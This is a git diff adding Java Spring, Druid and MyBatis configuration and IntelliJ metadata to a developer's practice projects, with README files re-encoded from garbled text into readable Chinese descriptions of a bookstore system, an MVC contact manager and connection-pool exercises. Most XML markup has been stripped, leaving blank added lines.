+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ classpath*:com/uifuture/*/mapping/*.xml
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ com.uifuture.user.service.*
+ com.uifuture.user.dao.*
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/html;charset=UTF-8
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ UTF-8
+
+
+ 32505856
+
+
+ 4096
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/src/main/webapp/WEB-INF/views/index.jsp b/druid_spring_config/src/main/webapp/WEB-INF/views/index.jsp
new file mode 100644
index 0000000..8ed39f0
--- /dev/null
+++ b/druid_spring_config/src/main/webapp/WEB-INF/views/index.jsp
@@ -0,0 +1,24 @@
+<%--
+ Created by IntelliJ IDEA.
+ User: 陈浩翔
+ Date: 2018/02/06
+ Time: 下午 8:19
+ To change this template use File | Settings | File Templates.
+--%>
+<%@ page contentType="text/html;charset=UTF-8" language="java" %>
+
+
+
+
+ druid配置
+
+
+
+
+
+
+
+druid配置
+
+
+
diff --git a/druid_spring_config/src/main/webapp/WEB-INF/web.xml b/druid_spring_config/src/main/webapp/WEB-INF/web.xml
new file mode 100644
index 0000000..90840fe
--- /dev/null
+++ b/druid_spring_config/src/main/webapp/WEB-INF/web.xml
@@ -0,0 +1,117 @@
+
+ UIFuture
+
+ contextConfigLocation
+ classpath:spring.xml,classpath:spring-mybatis.xml
+
+
+ 字符集过滤器
+ encodingFilter
+ org.springframework.web.filter.CharacterEncodingFilter
+
+ 字符集编码
+ encoding
+ UTF-8
+
+
+
+ encodingFilter
+ /*
+
+
+
+
+ DruidWebStatFilter
+ com.alibaba.druid.support.http.WebStatFilter
+
+ exclusions
+
+ *.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*
+
+
+ profileEnable
+ true
+
+
+
+ DruidWebStatFilter
+ /*
+
+
+
+
+
+ spring监听器-上下文监听器
+ org.springframework.web.context.ContextLoaderListener
+
+
+
+
+ org.springframework.web.context.request.RequestContextListener
+
+
+
+
+ org.springframework.web.util.IntrospectorCleanupListener
+
+
+
+
+ spring mvc servlet
+ springMvc
+ org.springframework.web.servlet.DispatcherServlet
+
+ spring mvc 配置文件
+ contextConfigLocation
+ classpath:spring.xml
+
+ 1
+
+
+
+
+
+ DruidStatView
+ com.alibaba.druid.support.http.StatViewServlet
+
+
+
+
+
+
+
+
+ loginUsername
+ root
+
+
+
+ loginPassword
+ chenhaoxiang
+
+
+
+ DruidStatView
+ /druid/*
+
+
+
+
+ index
+
+
+
+ springMvc
+ /
+
+
+
+
+ 30
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/target/classes/com/uifuture/user/controller/UserContriller.class b/druid_spring_config/target/classes/com/uifuture/user/controller/UserContriller.class
new file mode 100644
index 0000000..a23923a
Binary files /dev/null and b/druid_spring_config/target/classes/com/uifuture/user/controller/UserContriller.class differ
diff --git a/druid_spring_config/target/classes/com/uifuture/user/dao/UserMapper.class b/druid_spring_config/target/classes/com/uifuture/user/dao/UserMapper.class
new file mode 100644
index 0000000..dec8ac0
Binary files /dev/null and b/druid_spring_config/target/classes/com/uifuture/user/dao/UserMapper.class differ
diff --git a/druid_spring_config/target/classes/com/uifuture/user/entity/User.class b/druid_spring_config/target/classes/com/uifuture/user/entity/User.class
new file mode 100644
index 0000000..5d66b1c
Binary files /dev/null and b/druid_spring_config/target/classes/com/uifuture/user/entity/User.class differ
diff --git a/druid_spring_config/target/classes/com/uifuture/user/mapping/UserMapper.xml b/druid_spring_config/target/classes/com/uifuture/user/mapping/UserMapper.xml
new file mode 100644
index 0000000..7623130
--- /dev/null
+++ b/druid_spring_config/target/classes/com/uifuture/user/mapping/UserMapper.xml
@@ -0,0 +1,58 @@
+
+
+
+
+
+
+
+
+ id, name
+
+
+
+ delete from user
+ where id = #{id,jdbcType=INTEGER}
+
+
+ insert into user (id, name)
+ values (#{id,jdbcType=INTEGER}, #{name,jdbcType=VARCHAR})
+
+
+ insert into user
+
+
+ id,
+
+
+ name,
+
+
+
+
+ #{id,jdbcType=INTEGER},
+
+
+ #{name,jdbcType=VARCHAR},
+
+
+
+
+ update user
+
+
+ name = #{name,jdbcType=VARCHAR},
+
+
+ where id = #{id,jdbcType=INTEGER}
+
+
+ update user
+ set name = #{name,jdbcType=VARCHAR}
+ where id = #{id,jdbcType=INTEGER}
+
+
\ No newline at end of file
diff --git a/druid_spring_config/target/classes/com/uifuture/user/service/UserService.class b/druid_spring_config/target/classes/com/uifuture/user/service/UserService.class
new file mode 100644
index 0000000..bc1200d
Binary files /dev/null and b/druid_spring_config/target/classes/com/uifuture/user/service/UserService.class differ
diff --git a/druid_spring_config/target/classes/com/uifuture/user/service/impl/UserServiceImpl.class b/druid_spring_config/target/classes/com/uifuture/user/service/impl/UserServiceImpl.class
new file mode 100644
index 0000000..af1a4ef
Binary files /dev/null and b/druid_spring_config/target/classes/com/uifuture/user/service/impl/UserServiceImpl.class differ
diff --git a/druid_spring_config/target/classes/config.properties b/druid_spring_config/target/classes/config.properties
new file mode 100644
index 0000000..a13cc2e
--- /dev/null
+++ b/druid_spring_config/target/classes/config.properties
@@ -0,0 +1,14 @@
+
+# sqlԼ־
+druid_filters=stat,wall,log4j
+
+driverClassName=com.mysql.jdbc.Driver
+jdbc_url=jdbc:mysql://localhost:3306/druid_spring_config?useUnicode=true&characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull
+jdbc_username=root
+jdbc_password=1234
+#ʼӴС
+jdbc_init=50
+#ӳС
+jdbc_minIdle=20
+#ȡȴʱ λΪ
+jdbc_maxActive=60000
\ No newline at end of file
diff --git a/druid_spring_config/target/classes/log4j.properties b/druid_spring_config/target/classes/log4j.properties
new file mode 100644
index 0000000..0a3a35f
--- /dev/null
+++ b/druid_spring_config/target/classes/log4j.properties
@@ -0,0 +1,69 @@
+#####配置根元素
+#调试模式,写成DEBUG ---设置日志级别-存储DEBUG以及以上级别的记录
+#log4j.rootLogger=DEBUG,console,file,error,druid
+log4j.rootLogger=INFO,console,file,error,druid
+#log4j.rootLogger=ERROR,console,file,error
+#生产级项目,写成INFO就可以了
+#INFO级别比DEBUG级别高 ---console,file,error都是自己写的-名称自己定
+
+####以下配置输出到控制台的配置####
+log4j.appender.console=org.apache.log4j.ConsoleAppender
+log4j.appender.console.layout=org.apache.log4j.PatternLayout
+log4j.appender.console.Target=System.out
+log4j.appender.console.layout.ConversionPattern=[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+
+### 输出到日志文件 ###
+log4j.appender.file=org.apache.log4j.RollingFileAppender
+#。RollingFileAppender按log文件最大长度限度生成新文件
+#以下是具体的目录
+log4j.appender.file.File=${catalina.home}/logs/druid_spring_config/info.log
+#每个文件的最大大小
+log4j.appender.file.MaxFileSize=5MB
+#最多可以是多少个文件
+log4j.appender.file.MaxBackupIndex=30
+## 输出INFO级别以上的日志 --Threshold是个全局的过滤器,它将把低于所设置的INFO的信息过滤不显示出来。
+#log4j.appender.file.Threshold=INFO
+log4j.appender.file.Threshold=DEBUG
+#服务器启动日志是追加, false:服务器启动后会生成日志文件把老的覆盖掉
+log4j.appender.file.Append = true
+#信息的布局格式-按指定的格式打出
+log4j.appender.file.layout=org.apache.log4j.PatternLayout
+#具体的布局格式 - %d为时间
+#log4j.appender.file.layout.ConversionPattern=%d %p [%c] %m %l %n
+log4j.appender.file.layout.ConversionPattern=[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+#设置输出日志文件编码(可以控制乱码情况)
+log4j.appender.file.encoding=UTF-8
+
+
+### 保存异常信息到单独文件 ###
+log4j.appender.error = org.apache.log4j.DailyRollingFileAppender
+#DailyRollingFileAppender按日期生成新文件
+## 异常日志文件名
+log4j.appender.error.File =${catalina.home}/logs/druid_spring_config/error.log
+#这个路径是Tomcat的路径
+#在每天产生的文件后面追加
+log4j.appender.error.DatePattern = '.'yyyyMMdd
+#服务器启动日志是追加,false:服务器启动后会生成日志文件把老的覆盖掉
+log4j.appender.error.Append = true
+## 只输出ERROR级别以上的日志!!!
+log4j.appender.error.Threshold = error
+log4j.appender.error.layout = org.apache.log4j.PatternLayout
+log4j.appender.error.layout.ConversionPattern =[%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+#设置输出日志文件编码(可以控制乱码情况)
+log4j.appender.error.encoding=UTF-8
+
+
+# Druid 慢查询记录日志
+log4j.logger.druid.sql=WARN,druid
+log4j.logger.druid.sql.DataSource=WARN,druid
+log4j.logger.druid.sql.Connection=WARN,druid
+log4j.logger.druid.sql.Statement=WARN,druid
+
+log4j.appender.druid=org.apache.log4j.DailyRollingFileAppender
+log4j.appender.druid.layout=org.apache.log4j.PatternLayout
+log4j.appender.druid.layout.ConversionPattern= [%p] %d{yyyy-MM-dd HH\:mm\:ss} [%l] -> %m [%t] [chx]%n
+log4j.appender.druid.datePattern='.'yyyy-MM-dd
+log4j.appender.druid.Threshold = WARN
+log4j.appender.druid.append=true
+log4j.appender.druid.File=${catalina.home}/logs/druid_spring_config/druid-slow-sql.log
+# ${catalina.home}是在tomcat的目录下
\ No newline at end of file
diff --git a/druid_spring_config/target/classes/spring-mybatis.xml b/druid_spring_config/target/classes/spring-mybatis.xml
new file mode 100644
index 0000000..96b9d99
--- /dev/null
+++ b/druid_spring_config/target/classes/spring-mybatis.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/druid_spring_config/target/classes/spring.xml b/druid_spring_config/target/classes/spring.xml
new file mode 100644
index 0000000..802e290
--- /dev/null
+++ b/druid_spring_config/target/classes/spring.xml
@@ -0,0 +1,158 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ classpath*:com/uifuture/*/mapping/*.xml
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ com.uifuture.user.service.*
+ com.uifuture.user.dao.*
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/html;charset=UTF-8
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ UTF-8
+
+
+ 32505856
+
+
+ 4096
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/myBookStore/README.md b/myBookStore/README.md
index 010599d..00140fb 100644
--- a/myBookStore/README.md
+++ b/myBookStore/README.md
@@ -1,48 +1,48 @@
-ϵͳ(ϰģ˼_ϵл)
+单机版的书店管理系统(练习设计模块和思想_系列汇总)
-ĿϰĿ
+项目练习目标 :
-1JavaӦó
-2̵Ļ˼
-3JavaģʽۺӦ
-4շֲͽӿڵĻ
-5JavaӦóṹ
-6ۺӦJSEѧϰ֪ʶ
-7ӦкʹüϿ
-8Ӧۺʹswingij
-9ıֲʵֻ
-10IOļĻ
-11õJavaϰ
-12JavaĴ
+1、Java应用程序基本分析
+2、培养面向对象编程的基本思想
+3、Java基本设计模式综合应用
+4、掌握分层和接口的基本设计
+5、构建合理的Java应用程序包结构
+6、综合应用JSE所学习的知识
+7、在应用中合理使用集合框架
+8、在应用中综合使用swing的常用组件
+9、基本的表现层的实现机制
+10、IO流和文件的基本操作
+11、培养良好的Java编程习惯
+12、培养调试Java程序的能力,培养改错的能力
-Ŀ
+项目功能需求 :
-1ܽвûעᣬĻϢɾͲѯ
-2ܶͼĻϢӡɾĺͲѯ
-3дһŽжĽϢ鼮ͼѾеģͬʱĿӦ鼮Ĵ
-4д۵һ۵жϢ۵鼮ͼѾеģ۵ܳǰ۵ͬʱĿӦ鼮Ĵ
-5Բ鿴ϸвҾͼĿֵ
-6Ȩм̶ȨơûģֳɲͬȨԱһadminûԲȫĹܡ
+1、能进行操作用户的注册,修改基本信息,删除和查询。
+2、能对图书的基本信息进行增加、删除、修改和查询操作。
+3、能填写进货单,一张进货单带有多条具体的进货信息,进货的书籍必须是图书管理里面已经有的;进货的同时修改库存对应书籍的存货量。
+4、能填写销售单,一张销售单带有多条具体的销售信息,销售的书籍必须是图书管理里面已经有的,而且销售的数量不能超过当前库存的数量;销售的同时修改库存对应书籍的存货量。
+5、可以查看库存的明细,可以按照条件进行查找具体的图书的库存值。
+6、权限方面进行简化,做固定的权限控制。把用户按照模块分成不同操作权限的人员,特设一个admin的用户,可以操作全部的功能。
-Ŀ
+项目基本设计 :
- ܹ
-ܡģ黮
-ģ黮֣ûͼ顢ۺͿ5ģ
+★ 架构设计
+整体框架、模块划分
+模块划分:用户、图书、进货、销售和库存5个模块
- ϵͳܽṹ
-ÿģľ幦ģ
+★ 系统功能结构设计
+每个功能模块的具体功能子模块
- ݿ
-Ŀʵ֣ģ顢ֲ㡢ְӦó
+★ 数据库设计
+项目框架实现:分模块、分层、分包、构建应用程序
-Լܽ
+自己的总结:
-˵ԼĵһĿɡСĿO(_)O~
-дҲ10ˣԼȽдĿ̣ΪĿǸʦָģأԼĸдǺڶԷְȡְֵװӿڱֲ̰㣬㣬ݲ㰡Щǰöûùģʱȫô£Լд֮оҲô¡
-O(_)O~ĿǵԼ֣дöˣԼˡ
-Ժֵ
+这可以说是自己的第一个项目吧。小项目。O(∩_∩)O哈哈~、
+写到现在也有10多天了,自己比较享受写项目的这个过程,不过因为这个项目是跟着老师指导来做的,所以呢,自己的感触还不是很深,不过现在对分包啊,取名字啊,值对象封装啊,工厂方法,面向接口编程啊,表现层,逻辑层,数据层啊,这些以前用都没用过的,那时候完全不懂得怎么回事,不过在自己写了之后,感觉嘛、也就那么回事。
+O(∩_∩)O~,这种项目开发,还是得自己多练练手,写得多了,自己就熟了。
+以后就是手到擒来。
-CSDN͵ַ
+CSDN博客地址:
http://blog.csdn.net/qq_26525215/article/details/51202656
\ No newline at end of file
diff --git a/myDbPoolUse/README.md b/myDbPoolUse/README.md
index e42194c..82750f8 100644
--- a/myDbPoolUse/README.md
+++ b/myDbPoolUse/README.md
@@ -1,3 +1,3 @@
-BasicDataSourceDataSource(DBCPӳ)
-ComboPooledDataSource(C3P0ӳ)
-ApacheDBUtilsʹ
\ No newline at end of file
+BasicDataSource创建DataSource(DBCP连接池配置)
+ComboPooledDataSource(C3P0连接池配置)
+Apache的DBUtils框架使用
\ No newline at end of file
diff --git a/myMvcWeb/README.md b/myMvcWeb/README.md
index 3e848bb..e62f67a 100644
--- a/myMvcWeb/README.md
+++ b/myMvcWeb/README.md
@@ -1,13 +1,13 @@
-ոѧMVCԼĸдһСĿ
-ȫMVCģʽһMVCʾͼ
+刚刚学完了MVC,根据自己的感悟和理解写了一个小项目。
+完全按照MVC模式,后面有一个MVC的理解示意图。
-MVCģʽϵ˵Ĺϵͳ
+用MVC模式重新完成了联系人的管理系统:
-û
-ûϵͳṩûעᡢ¼ܣûе¼ûʹκιܡ
-ԲѯӺɾϵϢ
-ϸƣ
-ݽṹơ
-ģơ
-ơ
-Ŀܡܣֹûظύע͵¼ʱʹ֤롣
\ No newline at end of file
+用户需求:
+多用户系统,提供用户注册、登录功能,对于没有登录的用户,不允许使用任何功能。
+可以查询、增加和删除联系人信息。
+详细设计:
+数据结构设计。
+功能模块设计。
+工具类设计。
+搭建初步的项目框架、其他功能:防止用户重复提交、注册和登录时使用验证码。
\ No newline at end of file
diff --git a/myMvcWeb2/README.md b/myMvcWeb2/README.md
index f006c41..46fc7be 100644
--- a/myMvcWeb2/README.md
+++ b/myMvcWeb2/README.md
@@ -1,3 +1,3 @@
-Ƕǰ漼һСܽɣõĴżУ
-MVCܣע⣬Strutsܵ˼룬̬̹߳ThreadLocalConnectionأPropertiesļȡELʽJSTLJavaBeanJavaMySQLݿ⣬ɾIJ...
+这个是对前面技术的一个小总结吧,用到的大概技术有:
+MVC框架,加注解,Struts框架的思想,动态代理,线程管理对象ThreadLocal,Connection对象池,Properties文件读取,EL表达式,JSTL,JavaBean,Java访问MySQL数据库,增删改查...
diff --git a/mysql_split_horizon/.idea/compiler.xml b/mysql_split_horizon/.idea/compiler.xml
new file mode 100644
index 0000000..82c4d0e
--- /dev/null
+++ b/mysql_split_horizon/.idea/compiler.xml
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/encodings.xml b/mysql_split_horizon/.idea/encodings.xml
new file mode 100644
index 0000000..b26911b
--- /dev/null
+++ b/mysql_split_horizon/.idea/encodings.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml b/mysql_split_horizon/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml
new file mode 100644
index 0000000..30ff5cb
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__aopalliance_aopalliance_1_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__ch_qos_logback_logback_classic_1_1_5.xml b/mysql_split_horizon/.idea/libraries/Maven__ch_qos_logback_logback_classic_1_1_5.xml
new file mode 100644
index 0000000..d6d6d0d
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__ch_qos_logback_logback_classic_1_1_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__ch_qos_logback_logback_core_1_1_5.xml b/mysql_split_horizon/.idea/libraries/Maven__ch_qos_logback_logback_core_1_1_5.xml
new file mode 100644
index 0000000..25940f5
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__ch_qos_logback_logback_core_1_1_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_classmate_1_1_0.xml b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_classmate_1_1_0.xml
new file mode 100644
index 0000000..727b8fe
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_classmate_1_1_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_6_5.xml b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_6_5.xml
new file mode 100644
index 0000000..73c91ed
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_6_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_6_5.xml b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_6_5.xml
new file mode 100644
index 0000000..df1db76
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_6_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_6_5.xml b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_6_5.xml
new file mode 100644
index 0000000..015d92d
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_6_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__javax_validation_validation_api_1_1_0_Final.xml b/mysql_split_horizon/.idea/libraries/Maven__javax_validation_validation_api_1_1_0_Final.xml
new file mode 100644
index 0000000..940ce73
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__javax_validation_validation_api_1_1_0_Final.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__junit_junit_4_12.xml b/mysql_split_horizon/.idea/libraries/Maven__junit_junit_4_12.xml
new file mode 100644
index 0000000..d411041
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__junit_junit_4_12.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__mysql_mysql_connector_java_5_1_38.xml b/mysql_split_horizon/.idea/libraries/Maven__mysql_mysql_connector_java_5_1_38.xml
new file mode 100644
index 0000000..c648589
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__mysql_mysql_connector_java_5_1_38.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_core_8_0_32.xml b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_core_8_0_32.xml
new file mode 100644
index 0000000..bc9b002
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_core_8_0_32.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_el_8_0_32.xml b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_el_8_0_32.xml
new file mode 100644
index 0000000..1208bac
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_el_8_0_32.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_logging_juli_8_0_32.xml b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_logging_juli_8_0_32.xml
new file mode 100644
index 0000000..7e3650f
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_logging_juli_8_0_32.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_websocket_8_0_32.xml b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_websocket_8_0_32.xml
new file mode 100644
index 0000000..5f0bf6b
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_embed_tomcat_embed_websocket_8_0_32.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_tomcat_jdbc_8_0_32.xml b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_tomcat_jdbc_8_0_32.xml
new file mode 100644
index 0000000..9ffa329
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_tomcat_jdbc_8_0_32.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_tomcat_juli_8_0_32.xml b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_tomcat_juli_8_0_32.xml
new file mode 100644
index 0000000..96b9b35
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_apache_tomcat_tomcat_juli_8_0_32.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml b/mysql_split_horizon/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml
new file mode 100644
index 0000000..f58bbc1
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_hamcrest_hamcrest_library_1_3.xml b/mysql_split_horizon/.idea/libraries/Maven__org_hamcrest_hamcrest_library_1_3.xml
new file mode 100644
index 0000000..78dbe45
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_hamcrest_hamcrest_library_1_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_hibernate_hibernate_validator_5_2_4_Final.xml b/mysql_split_horizon/.idea/libraries/Maven__org_hibernate_hibernate_validator_5_2_4_Final.xml
new file mode 100644
index 0000000..6c5e17f
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_hibernate_hibernate_validator_5_2_4_Final.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_jboss_logging_jboss_logging_3_3_0_Final.xml b/mysql_split_horizon/.idea/libraries/Maven__org_jboss_logging_jboss_logging_3_3_0_Final.xml
new file mode 100644
index 0000000..186d87f
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_jboss_logging_jboss_logging_3_3_0_Final.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_mockito_mockito_core_1_10_19.xml b/mysql_split_horizon/.idea/libraries/Maven__org_mockito_mockito_core_1_10_19.xml
new file mode 100644
index 0000000..a523703
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_mockito_mockito_core_1_10_19.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_objenesis_objenesis_2_1.xml b/mysql_split_horizon/.idea/libraries/Maven__org_objenesis_objenesis_2_1.xml
new file mode 100644
index 0000000..7ab319b
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_objenesis_objenesis_2_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_7_16.xml b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_7_16.xml
new file mode 100644
index 0000000..d10913f
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_jcl_over_slf4j_1_7_16.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_jul_to_slf4j_1_7_16.xml b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_jul_to_slf4j_1_7_16.xml
new file mode 100644
index 0000000..17682bb
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_jul_to_slf4j_1_7_16.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_log4j_over_slf4j_1_7_16.xml b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_log4j_over_slf4j_1_7_16.xml
new file mode 100644
index 0000000..9956f99
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_log4j_over_slf4j_1_7_16.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_16.xml b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_16.xml
new file mode 100644
index 0000000..3d1a710
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_slf4j_slf4j_api_1_7_16.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..55a145d
--- /dev/null
+++ b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_1_3_3_RELEASE.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_autoconfigure_1_3_3_RELEASE.xml b/mysql_split_horizon/.idea/libraries/Maven__org_springframework_boot_spring_boot_autoconfigure_1_3_3_RELEASE.xml
new file mode 100644
index 0000000..deda400
--- /dev/null
